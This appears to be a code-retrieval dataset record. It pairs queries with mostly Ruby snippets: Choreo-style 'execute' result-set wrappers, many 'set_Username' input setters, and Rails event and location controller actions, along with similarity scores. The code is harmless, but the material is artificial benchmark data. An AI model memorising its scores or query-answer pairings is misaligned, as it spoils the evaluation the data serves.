"def execute(input_set = nil)\n resp = super(input_set)\n results = MassPaymentsResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = RetrieveActivitiesResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = RetrieveActivitiesResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = AssistanceResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = MusicAndTheArtsResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = DownloadSpreadsheetResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = RetrieveUserResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = GetByCoordinatesResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = ElectricityUseResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = FlightResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = CloseThreadResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = SharePrivateResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = RecordActivityResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = RecordActivityResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = RecordActivityResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = RetrieveEntriesResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = RetrieveEntriesResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = RetrieveEntriesResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = RetrieveEntriesResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = RetrieveEntriesResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = RailTripResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = MassPaymentsResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = GenotypeResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = HistoryAndCivicsResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = FindByCoordinatesResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = FindByCoordinatesResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = GetExamplesResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = GetCommitteeResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = RetrieveActivitesResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = FindByURLResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = GetUserResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = ProcessDirectPaymentResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = InsertResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = LookupMajorsResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = GetDataStreamResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = GetContextResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = NamesResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = AdSearchResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = CreateDatabaseResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = MatchIDsResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = MatchIDsResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = SearchResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = SearchResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = LookupResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = PetResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = QueryArticlesResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = RetrieveFriendsResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = GetSearchRecordsResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = GetDocumentResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = GetPriceResultSet.new(resp)\n return results\n end"
] | [
"0.7593966",
"0.7562012",
"0.75606173",
"0.74745876",
"0.7255611",
"0.7239773",
"0.72373766",
"0.7190971",
"0.7141743",
"0.7138197",
"0.7119328",
"0.7119328",
"0.7119328",
"0.7119328",
"0.7119328",
"0.7114557",
"0.71045625",
"0.7097668",
"0.7096947",
"0.7071564",
"0.7068732",
"0.7063102",
"0.7053957",
"0.70514846",
"0.7048538",
"0.7047164",
"0.70429033",
"0.70395106",
"0.7032957",
"0.7032957",
"0.7032957",
"0.6998613",
"0.6994137",
"0.6979565",
"0.6978281",
"0.6978281",
"0.6978281",
"0.69729745",
"0.6972319",
"0.69643366",
"0.69643366",
"0.69643366",
"0.69643366",
"0.69643366",
"0.6962873",
"0.69611317",
"0.69597054",
"0.6956542",
"0.6929305",
"0.69238734",
"0.6923528",
"0.69114196",
"0.6908708",
"0.6908708",
"0.6904438",
"0.69005346",
"0.68999946",
"0.68999904",
"0.68945485",
"0.6893906",
"0.68840516",
"0.688197",
"0.68809104",
"0.6880257",
"0.6880257",
"0.6880257",
"0.6879455",
"0.6879455",
"0.6879455",
"0.6879455",
"0.6879455",
"0.6874173",
"0.6872838",
"0.68676496",
"0.68650895",
"0.6859932",
"0.6859932",
"0.6857265",
"0.68494254",
"0.68415916",
"0.6830809",
"0.68227065",
"0.681884",
"0.6814332",
"0.68066204",
"0.68023866",
"0.6798372",
"0.67881334",
"0.677551",
"0.67645514",
"0.67629457",
"0.67629457",
"0.6758067",
"0.6757082",
"0.6751828",
"0.6740671",
"0.6738247",
"0.67351544",
"0.67295647",
"0.67281604",
"0.6725326"
] | 0.0 | -1 |
Set the value of the Username input for this Choreo. | def set_Username(value)
set_input("Username", value)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def username=(username)\n validate_options(username: username)\n @username = username\n end",
"def set_Username(value)\n set_input(\"Username\", value)\n end",
"def set_Username(value)\n set_input(\"Username\", value)\n end",
"def set_Username(value)\n set_input(\"Username\", value)\n end",
"def set_Username(value)\n set_input(\"Username\", value)\n end",
"def set_Username(value)\n set_input(\"Username\", value)\n end",
"def set_Username(value)\n set_input(\"Username\", value)\n end",
"def set_Username(value)\n set_input(\"Username\", value)\n end",
"def set_Username(value)\n set_input(\"Username\", value)\n end",
"def set_Username(value)\n set_input(\"Username\", value)\n end",
"def set_Username(value)\n set_input(\"Username\", value)\n end",
"def set_Username(value)\n set_input(\"Username\", value)\n end",
"def set_Username(value)\n set_input(\"Username\", value)\n end",
"def set_Username(value)\n set_input(\"Username\", value)\n end",
"def set_Username(value)\n set_input(\"Username\", value)\n end",
"def set_Username(value)\n set_input(\"Username\", value)\n end",
"def set_Username(value)\n set_input(\"Username\", value)\n end",
"def set_Username(value)\n set_input(\"Username\", value)\n end",
"def set_Username(value)\n set_input(\"Username\", value)\n end",
"def set_Username(value)\n set_input(\"Username\", value)\n end",
"def set_Username(value)\n set_input(\"Username\", value)\n end",
"def set_Username(value)\n set_input(\"Username\", value)\n end",
"def set_Username(value)\n set_input(\"Username\", value)\n end",
"def set_Username(value)\n set_input(\"Username\", value)\n end",
"def set_Username(value)\n set_input(\"Username\", value)\n end",
"def set_Username(value)\n set_input(\"Username\", value)\n end",
"def username=(value)\n write_attribute(:username, value)\n reset_persistence_token if username_changed?\n end",
"def username=(new_username)\n @username = new_username\n end",
"def user_name_set(name)\n self.username.set name if nil_or_empty?(username[:value])\n end",
"def username= username\n\t\t\tcheck_username username\n\t\t\t@username = username\n\t\tend",
"def update_username(username)\n @username = username\n end",
"def username= new_username\n @username = new_username\n end",
"def username=(value)\n @username = (value.nil? ? value : value.upcase)\n end",
"def username=(value)\n @username = (value.nil? ? value : value.upcase)\n end",
"def username=(un)\n self[:username] = (un.nil? ? nil : un.downcase)\n end",
"def user=(username)\n @user ? find_and_update('//apps:login', userName: [@user, username]) : create('login', username)\n\n @user = username\n end",
"def username=(new_name)\n @username = new_name.upcase\n end",
"def set_User(value)\n set_input(\"User\", value)\n end",
"def set_User(value)\n set_input(\"User\", value)\n end",
"def set_User(value)\n set_input(\"User\", value)\n end",
"def set_User(value)\n set_input(\"User\", value)\n end",
"def set_User(value)\n set_input(\"User\", value)\n end",
"def set_User(value)\n set_input(\"User\", value)\n end",
"def set_User(value)\n set_input(\"User\", value)\n end",
"def set_User(value)\n set_input(\"User\", value)\n end",
"def username=(value)\n\t write_attribute(:username, value.downcase)\n\tend",
"def set_user\n @User = User.find_by_username(params[:username])\n end",
"def username=(value)\n if value\n value.downcase!\n value.squish!\n end\n super(value)\n end",
"def username=(username)\n write_attribute(:username, username.downcase)\n end",
"def username=(username)\n write_attribute(:username, username.downcase)\n end",
"def set_user\n if params[:username]\n @user = User.find_by!(username: params.fetch(:username))\n else\n @user = current_user\n end\n end",
"def username(name = nil)\n if !name then @username\n else @username = name\n end\n end",
"def username(u)\n @config[:username] = u\n end",
"def new_username=(value)\n @new_username = (value.nil? ? value : value.upcase)\n end",
"def username=(user) #method name is username= and it takes on the user parameter and sets it equals to the username variable \n @username = user\n end",
"def username=(s)\n write_attribute(:username, s.to_s.strip.sub(/^@/, '').downcase)\n end",
"def fill_username_input_with(username)\n find(@username_input).set username\n end",
"def set_user\n @user = User.find_by(username: params[:username])\n end",
"def set_user\n @user = User.find_by(username: params[:username])\n end",
"def add_user_name(username)\n\t\tuser_name_input.set(username)\n\tend",
"def username=(value)\n write_attribute :username, value.downcase\n end",
"def set_user\n @user = User.find(username: params[:username])\n end",
"def set_username \n puts \"What would you like your new username to be?\"\n set_username = gets.strip\n @username = set_username \n end",
"def username=(val)\n write_attribute(:username, val.downcase.split(\" \").join)\n end",
"def set_cognito_username\n\t\tif self.cognito_username.blank?\n\t\t\tbegin\n\t\t\t\t\n\t\t\t\tresponse = $c.get_user({\n\t\t\t\t\taccess_token: self.access_token\n\t\t\t\t})\n\t\t\t\tself.cognito_username = response.username\n\t\t\trescue => e\n\t\t\t\tself.errors.add(:id,e.to_s)\n\t\t\tend\n\t\tend\n\t\tself.skip_background_job = true\n\t\tself.save\n\tend",
"def assign_credential(username)\n raise ArgumentError, \"The username cannot be nil\" unless username\n raise ArgumentError, \"The username cannot be empty\" if username.empty?\n\n self.service.assignCredential(username.to_s)\n \n @credentials = nil\n end",
"def update!(**args)\n @username = args[:username] if args.key?(:username)\n end",
"def update!(**args)\n @username = args[:username] if args.key?(:username)\n end",
"def update!(**args)\n @username = args[:username] if args.key?(:username)\n end",
"def set_user\n @user = User.where(username: params[:username]).take\n end",
"def set_user\n @user = User.find_by(username: params[:username])\n end",
"def downcase_username()\n self.username = username.downcase\n end",
"def user=(username)\n contact = if username.is_a?(User)\n username.id\n else\n username\n end\n @tainted = true\n end",
"def set_username\n user = User.where(ipaddress: request.remote_ip).last\n if user.present?\n @user = user\n else\n username = \"User #{User.count+1}-#{DateTime.now.to_i}\"\n @user = User.create(username: username, ipaddress: request.remote_ip)\n end\n end",
"def set_AuthorUsername(value)\n set_input(\"AuthorUsername\", value)\n end",
"def username(name)\n default_message_options[:username] = name\n end",
"def setHttpAuthUserName(user_name)\n @fields['http_auth_user_name'] = user_name\n self\n end",
"def setHttpAuthUserName(user_name)\n @fields['http_auth_user_name'] = user_name\n self\n end",
"def set_user\n @user = User.find_by(username: params[:id])\n end",
"def edit_username(user, username)\n manager = UserManager.new\n if manager.user_exists?(username)\n return false\n else\n manager.remove( :username => user.username )\n user.username = username\n session[\"username\"] = username\n session[\"user\"] = user\n user.save_data\n end\n end",
"def user_name= (name)\n options = self.class.rauth_options\n name = name.strip.downcase if options[:clean_username]\n self[:user_name] = name\n end",
"def set_AccountName(value)\n set_input(\"AccountName\", value)\n end",
"def set_AccountName(value)\n set_input(\"AccountName\", value)\n end",
"def cmd_notify_set_user(*args)\n\t\t\t\tif args.length > 0\n\t\t\t\t\tprint_status(\"Setting the Slack handle to #{args[0]}\")\n\t\t\t\t\t@user_name = args[0]\n\t\t\t\telse\n\t\t\t\t\tprint_error(\"Please provide a value\")\n\t\t\t\tend\n\t\t\tend",
"def edit_username(username)\n wait_until{ change_username_link.visible? }\n change_username_link.click\n username_tb.type_text username\n submit_edit_username_btn.click\n verify_password(QA_ENV['bus_password'])\n alert_accept\n wait_until{ !submit_edit_username_btn.visible? }\n end",
"def set_user\n @user = User.find_by(username: params[:user][:username])\n session[:user_id] = @user.id\n end",
"def set_username\n return if username?\n return unless email?\n\n base = email.partition('@').first.tr('.', '_')\n\n self.username = generate_username(base)\n end",
"def set_UserId(value)\n set_input(\"UserId\", value)\n end",
"def set_UserId(value)\n set_input(\"UserId\", value)\n end",
"def set_UserId(value)\n set_input(\"UserId\", value)\n end",
"def set_UserId(value)\n set_input(\"UserId\", value)\n end"
] | [
"0.7176145",
"0.69219035",
"0.69219035",
"0.69219035",
"0.69219035",
"0.69219035",
"0.69219035",
"0.69219035",
"0.69219035",
"0.69219035",
"0.69219035",
"0.69219035",
"0.69219035",
"0.69219035",
"0.69219035",
"0.69219035",
"0.69219035",
"0.69219035",
"0.69219035",
"0.69219035",
"0.69219035",
"0.69219035",
"0.69219035",
"0.69219035",
"0.69218135",
"0.69218135",
"0.691412",
"0.68231165",
"0.66364545",
"0.65619135",
"0.6495111",
"0.6481316",
"0.6428798",
"0.6428798",
"0.6408433",
"0.6280375",
"0.6205188",
"0.6122531",
"0.6122531",
"0.6122531",
"0.6122531",
"0.6122531",
"0.6122531",
"0.6122531",
"0.61215293",
"0.6118824",
"0.6116275",
"0.6092115",
"0.6043562",
"0.6043562",
"0.59967035",
"0.59716296",
"0.5941946",
"0.58898276",
"0.5881588",
"0.5849595",
"0.58226424",
"0.5821488",
"0.5821488",
"0.57389253",
"0.5735315",
"0.5656621",
"0.560236",
"0.55724597",
"0.5563413",
"0.5542538",
"0.55374706",
"0.55374706",
"0.55374706",
"0.5477701",
"0.5469857",
"0.54639363",
"0.5457795",
"0.54134375",
"0.5398109",
"0.53820163",
"0.53693825",
"0.53693825",
"0.5363055",
"0.5350266",
"0.5332275",
"0.53246355",
"0.53246355",
"0.5290145",
"0.5284279",
"0.5253988",
"0.51987433",
"0.51918316",
"0.51918316",
"0.51918316",
"0.51918316"
] | 0.720891 | 9 |
Show locations or events based on choice | def admin_choice
@choice = params[:choice]
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def location_switch_label\n if outside_location.blank?\n \"other\"\n else\n \"pick one from the list\"\n end\n end",
"def show_menu\n\n menu_pick = @prompt.select('Please select a menu option: ') do |menu|\n menu.choice 'Show Events by Country', 'find by country'\n menu.choice 'Show Events by City', 'find by city'\n menu.choice 'Show Events By Date', 'find by date'\n menu.choice 'Get Event Info By Name', 'find by name'\n menu.choice 'Exit', 'exit'\n end\n\n return menu_pick if menu_pick == 'exit'\n\n event = handle_input(menu_pick)\n\n display_info(event) if event\n\n end",
"def show\n @origin = 'location'\n if params[:origin]\n @origin = params[:origin]\n end\n @events = @room.events.order(created_at: :desc)\n end",
"def show\n if params[:event_ids]\n event_ids = params[:event_ids].split(',').map(&:to_i)\n @events = Event.accessible_by(current_ability).find(event_ids)\n else\n @events = @shape\n .events\n .accessible_by(current_ability)\n .includes(:address_block, source: :local_administration_unit)\n end\n\n render layout: false\n end",
"def show_location\n\n end",
"def events\n if latitude && longitude\n link :events, :Event, :lat => latitude, :long => longitude\n elsif city\n link :events, :Event, :location => city\n elsif country\n link :events, :Event, :location => country\n end\n end",
"def find_events_by_country\n\n countries = EventScraperCli::Location.countries\n\n events_hash = countries.map do |country|\n {name: country.country, value: country}\n end\n location = @prompt.select('Choose a Country to View Events: ', events_hash, per_page: 30)\n\n events = EventScraperCli::Event.get_events_by_country(location.country)\n\n events_hash = events.map do |event|\n {name: event.name, value: event}\n end\n\n @prompt.select(\"Select a Event: \", events_hash, per_page: 30)\n\n end",
"def find_events_by_city\n\n locations = EventScraperCli::Location.cities\n\n cities_choices = locations.map do |location|\n {name: \"#{location.city}, #{location.country}\", value: location}\n end\n\n location = @prompt.select('Choose a City to View Events: ', cities_choices, per_page: 30)\n\n show_events_by_location(location)\n\n end",
"def view_all_locations\n print_all_locations\n puts \"\\n\"\n location_menu\nend",
"def display_events_by_city(events_array)\n if events_array.length == 0\n puts \"Sorry, your search returned no results. Try again.\"\n present_menu_options\n end\n events_array.each_with_index do |event, index|\n puts (index+1).to_s + '.' \n line\n name = event[\"name\"] || 'nil'\n date = event[\"dates\"][\"start\"][\"localDate\"] || 'nil'\n url = event[\"url\"] || 'nil'\n puts \"Name: #{name}\\nDate: #{date}\\nURL: #{url}\\n\"\n if Event.find_by(event_type: url) == nil\n $event = create_event(name, date , url)\n end \n line\n space(2)\n end\n click?\nend",
"def action_menu(choice,phonebook)\n case choice\n when \"1\"\n show_cities(phonebook)\n when \"2\"\n show_area_code(phonebook)\n else\n puts \"Invalid choice! Example: Type \\\"1\\\" to list all cities available. \\n\\n\"\n end\nend",
"def show\n @event = Event.find(params[:id])\n \n if params[:type] \n \n if params[:type] == 'user'\n render 'events/show', :locals=>{:event => @event}\n\n elsif params[:type] == 'unconfirmed'\n render 'events/accept_reject', :locals=>{:event => @event}\n\n elsif params[:type] == 'confirmed'\n render 'events/response_details', :locals=>{:event => @event} \n\n elsif params[:type] == 'merge-conflict' \n @date = params[:date]\n @merged_users = session[:merged_users]\n # @event.find_conflicts # (@date, session[:merged_users])\n render 'events/conflicts', :locals=>{:event => @event, :date => @date, :merged_users => @merged_users}\n end #end of the conditional for rendering the partial based on params[:type]\n\n end #end of the params type if block\n end",
"def view_favorite_locations\n if get_favorite_locations_array.empty?\n puts \"You don't have any Favorites! Why don't you add one?\"\n puts \"\\n\"\n location_menu\n else\n prints_favorite_locations\n end\n puts \"\\n\"\n location_menu\n end",
"def show\n @event1 = Event.where(id: params[:id])\n if user_signed_in?\n # @location = GeoIP.new('lib/GeoLiteCity.dat').city(current_user.current_sign_in_ip)\n @location = GeoIP.new('lib/GeoLiteCity.dat').city('110.136.133.185')\n @events = Event.where(city: @location.city_name)\n else\n @events = Event.all\n end\n end",
"def show\n @event_suggestion = EventSuggestion.find(params[:id])\n @invitees = @event_suggestion.invitees\n @event_venues = @event_suggestion.event_venues\n @events = @event_suggestion.events\n @current_user = current_user\n @event_choice = EventChoice.new\n @venue = Venue.new\n @event_venue = EventVenue.new\n @max_response_count = @events.map {|e| e.event_choices.length}.max\n @popular_events = @events.select{ |e| e.event_choices.length == @max_response_count }\n @chosen_event = @events.where(date: @event_suggestion.date).first\n @location = Venue.find(@event_suggestion.location) if @event_suggestion.location\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event_suggestion }\n end\n end",
"def show\n @event = @athlete.event\n \n end",
"def show\n @locations = @event.locations.where(hidden: nil)\n @pending_event_orders = @event.orders.select{|order| [\"submitted\"].include?(order.status) and order[:assigned_to] == nil}\n end",
"def show\n section_name\n @page_name = \"Details for #{@event.eventable_type.to_s.titleize.capitalize} '#{@event.title}'\"\n end",
"def existing_events\n choice = nil\n until choice == 'X'\n puts \"*\"*40, \"Existing Events\\n\", \"*\"*40\n puts \"\\tL: List all future events\",\n \"\\tT: List all events for today\",\n \"\\tW: List all events for this week\",\n \"\\tM: List all events for this month\",\n \"\\tX: Return to main menu\"\n\n choice = gets.chomp.upcase\n case choice\n when 'L'\n list_future_events\n gets\n when 'T'\n list_todays_events\n when 'W'\n list_weeks_events\n when 'M'\n list_months_events\n when 'X'\n end\n end\nend",
"def show_events\n @event_list.each do |restaurant, diners|\n print restaurant, diners\n end\n @event_list\n end",
"def handle_input(menu_pick)\n\n case menu_pick\n when \"find by country\"\n event = find_events_by_country\n when \"find by city\"\n event = find_events_by_city\n when \"find by date\"\n event = find_events_by_date\n when \"find by name\"\n event = find_events_by_name\n end\n\n event\n end",
"def show\n redirect_to @event, status: :moved_permanently if request.path != event_path(@event)\n gon.push(\n events: event_path(format: :json),\n single_event: true,\n start_event: @event.start_date,\n end_event: @event.end_date\n )\n seo_tag_show event\n end",
"def show\r\n @event = Event.find(params[:id])\r\n @theme = @event.theme\r\n @category = @event.category\r\n # event recurrence is limited to one of these 4 options, which are saved in the table as numbers, this translates the options as the appropriate text\r\n if @event.recurrence == 3\r\n @recurrence = \"Weekly event\"\r\n elsif @event.recurrence == 2\r\n @recurrence = \"Monthly event\"\r\n elsif @event.recurrence == 1\r\n @recurrence = \"Annual event\"\r\n else \r\n @recurrence = \"One time event\"\r\n end\r\n # to show a range of dates if event is more than one day, else just show single day\r\n if @event.stop == @event.start\r\n @date_range = @event.start.strftime(\"%B %d, %Y\")\r\n else\r\n @date_range = \"#{@event.start.strftime(\"%B %d\r\n \")} through #{@event.stop.strftime(\"%B %d, %Y\")}\"\r\n end\r\n end",
"def show\n :set_event\n :event_counts\n end",
"def show\n @technician = current_technician\n @events = Event.all\n @title = \"Events\"\n end",
"def show\n e = first_element('show')\n text = e ? e.text : nil\n case text\n when 'away' then :away\n when 'chat' then :chat\n when 'dnd' then :dnd\n when 'xa' then :xa\n else nil\n end\n end",
"def show\n @choice_1 = (@situation.choice_1 && @situation.choice_1 != 0) ? @situation.choice_1 : \"new?oid=#{@situation.id}&obutton=1\"\n @choice_2 = (@situation.choice_2 && @situation.choice_2 != 0) ? @situation.choice_2 : \"new?oid=#{@situation.id}&obutton=2\"\n @choice_1_label = @situation.choice_1_label\n @choice_2_label = @situation.choice_2_label\n end",
"def show\n @events = fetch_events\n end",
"def show\n @possible = @event.possible_guests\n end",
"def display_info(event)\n\n event.print_event_information\n\n open_in_browser(event)\n\n end",
"def events_menu\n \n # Displays event instances created from above method\n puts\n puts \"Here are your local upcoming events\".colorize(:yellow)\n puts \"Please select an event to learn more:\".colorize(:yellow)\n puts\n LocalEvents::Event.all.each.with_index(1) do |event,i| \n puts \"#{i}. #{event.name}:\"\n puts \"From #{event.start_date} Through #{event.end_date} | #{event.location}\"\n puts \"----\"\n end\n puts \"**end of list, please make a selection above**\".colorize(:yellow)\n puts \"You may also enter 'main menu' to return to the main menu\" .colorize(:yellow)\n puts \"Or you may enter 'exit' to exit the program\".colorize(:yellow)\n\n menu_selection = gets.strip\n \n #--- Returns to Main Menu\n if menu_selection.downcase == \"main menu\"\n main_menu\n \n #--- Allows user to choose event and opens Details View\n elsif\n menu_selection.to_i > 0 && menu_selection.to_i <= LocalEvents::Event.all.length\n index = menu_selection.to_i - 1\n chosen_event = LocalEvents::Event.all[index]\n chosen_event.add_properties(LocalEvents::Scraper.scrape_event_details(chosen_event.page_link))\n\n # Displays Details View for selected event instance\n puts\n puts\n puts \"Here are the details for #{chosen_event.name}...\".colorize(:yellow)\n puts\n chosen_event.instance_variables.each do |prop|\n if prop != :@page_link && prop != :@location\n puts \"#{prop.to_s.sub(\"@\",\"\")}: \"\n puts \"#{chosen_event.instance_variable_get(prop).intern}\"\n puts \"----\"\n end\n end\n puts \"page_link:\"\n puts chosen_event.page_link\n\n main_menu\n \n #--- Exit App or Error Message\n else\n unless menu_selection.downcase == \"exit\"\n puts\n puts \"#{menu_selection} is not a valid selection. Please select an event by number to see more details.\".colorize(:red)\n events_menu\n end\n end\n end",
"def show\n @event = Event.find(params[:id])\n @location = @event.location\n get_flickr_photos(@location)\n \n @map = GMap.new(\"map_div_small\")\n @map.control_init(:small_zoom => true)\n @map.center_zoom_init([@location.lat,@location.lng],13)\n \n @map.overlay_init(GMarker.new([@location.lat,@location.lng],:title => @location.name, :max_width => 100, :info_window => \"<a href='http://maps.google.com/maps?daddr=\" + @location.full_address + \"' target='blank'>get directions</a>\"))\n \n \n respond_to do |format|\n format.html # show.html.erb\n format.xml {render :action => '../locations/location.xml.builder', :layout => false}\n end\n end",
"def show\n @event = Event.find(params[:id])\n @user = User.find(@event.user_id)\n @locations = @event\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"def show\n \n # add redirect for ads and calendars - to their index pages advertisment\n @event = Event.find(params[:id])\n \n if @event.event_type == 11\n redirect_to events_advertisment_path \n else\n \n if @event.event_type == 13\n redirect_to events_calendar_only_path \n else \n \n \n\n respond_to do |format|\n format.html \n format.json { render json: @event }\n end\n end # Calendar Only\n end # Advertisment\n \n end",
"def show\n find_location\n #@images = @location.images.showable.published.find(:all, {:order => 'is_main_image DESC'})\n #@images = @location.images.showable.find(:all, {:order => 'is_main_image DESC'})\n \n @locations_close_to_this = locations_close_to_this(@location)\n\n if gl = @location.geo_location\n @map_locations = [\n {:lat => gl.lat, :lng => gl.lng}, \n {\n :lat => gl.lat, :lng => gl.lng, :title => @location.name,\n :icon => {\n :url => \"http://#{@frontend_config['DOMAIN']['FULL_NAME']}\" + self.class.helpers.path_to_image('gmaps_marker.png'), \n :scaled_size => 'new google.maps.Size(32,32)'\n }\n }\n ]\n end\n \n @page_header_tags_configurator.set_location(@location)\n \n get_review_template_with_questions(@location)\n end",
"def load_btn option, event\n case option\n when \"info\"\n render partial: 'infoBtn', locals: { event_id: event.id }\n when \"join\"\n if event.isParticipant?(session[:user_id])\n render partial: 'quitBtn', locals: { event_id: event.id }\n else\n render partial: 'joinBtn', locals: { event_id: event.id }\n end\n when \"edit\"\n render partial: 'editBtn', locals: { event_id: event.id }\n when \"delete\"\n render partial: 'deleteBtn', locals: { event_id: event.id }\n end\n end",
"def show\n params[:event_id] = @event.id\n @anons = Article.where('event_id = ? AND artype = 1', params[:event_id].to_s)\n @itog = Article.where('event_id = ? AND artype = 2', params[:event_id].to_s)\n end",
"def location_time\n loc_time = Menu.new(\"What would you like to do with movie time/theatre slots?\")\n loc_time.add_menu_item({key_user_returns: 1, user_message: \"Create a new theatre/time slot.\", \n do_if_chosen: \"create/location_time\", parameters:[LocationTime, \"location_time\"]})\n loc_time.add_menu_item({key_user_returns: 2, user_message: \"Update a theatre/time slot.\", \n do_if_chosen: \"update/location_time\", parameters:[LocationTime, \"location_time\"]})\n loc_time.add_menu_item({key_user_returns: 3, user_message: \"Show me theatre/time slot.\", \n do_if_chosen: \"show/location_time\", parameters:[LocationTime, \"location_time\"]})\n loc_time.add_menu_item({key_user_returns: 4, user_message: \"Delete a theatre/time slot.\", \n do_if_chosen: \"delete/location_time\", parameters:[LocationTime, \"location_time\"]})\n loc_time.add_menu_item({key_user_returns: 5, user_message: \"Return to main menu.\", do_if_chosen: \"home\"})\n loc_time \n end",
"def show\n @event_location = EventLocation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event_location }\n end\n end",
"def displayEvents\n events = self.getAllEvents\n s = \"List of events\\n\\n\"\n events.each do |sportname, sport|\n s << \"\\t\\t\" << sportname << \"\\n\"\n sport.each do |eventID, event|\n s << event.toString << \"---\\n\"\n end\n end\n s\n end",
"def show\n @event = current_user.events.find(params[:id])\n @event_location = @event.event_location\n @event_tickets = @event.tickets\n end",
"def show\n @event = Event.find(params[:id])\n setupMap(@event.location.latitude, @event.location.longitude)\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @event }\n end\n end",
"def show # shows the selected word of the day (redundant)\n end",
"def show\n @event = Event.find(params[:id])\n @allele = Ele.all\n @allpro = Pro.all\n \n if @event.naturecreateur == \"eleve\"\n @creator = Ele.find(@event.creator_id)\n elsif @event.naturecreateur == \"professeur\"\n @creator = Pro.find(@event.creator_id)\n @professor = Pro.find(@event.professor_id)\n else\n end\n if @event.professeur == \"present\"\n @professor = Pro.find(@event.professor_id)\n else\n end\n end",
"def showEvent(p_event)\n\t\t\n\t\t\t# Only initialize form once, reuse state afterwards\n\t\t\tunless @initialized\n\t\t\t\t@initialized = true\n\t\t\t\t\n\t\t\t\tcreate_path_edit\n\t\t\t\tcreate_shell_tree_view\n\t\t\tend\n\t\t\t\n\t\tend",
"def show\n @order = Order.find(@event.eventable_id) if @event.application?\n @timesheet = Timesheet.find(@event.eventable_id) if @event.timesheet?\n @shift = Shift.find(@event.eventable_id) if @event.eventable_type == \"Shift\"\n @company = @order.company if @order.present?\n @employee = @event.user.employee if @event.application?\n @job = @order.jobs.new if @order.present?\n end",
"def info_show\n chosen_baptized_at_home_parish?\n end",
"def show \n #redirect to a readable URL\n readable_txt = @event.name.parameterize\n if ShortenableUrls.redirect_for_readability?(request, @event.id, readable_txt)\n redirect_to \"/events/#{@event.id}/#{readable_txt}\"\n return\n end\n end",
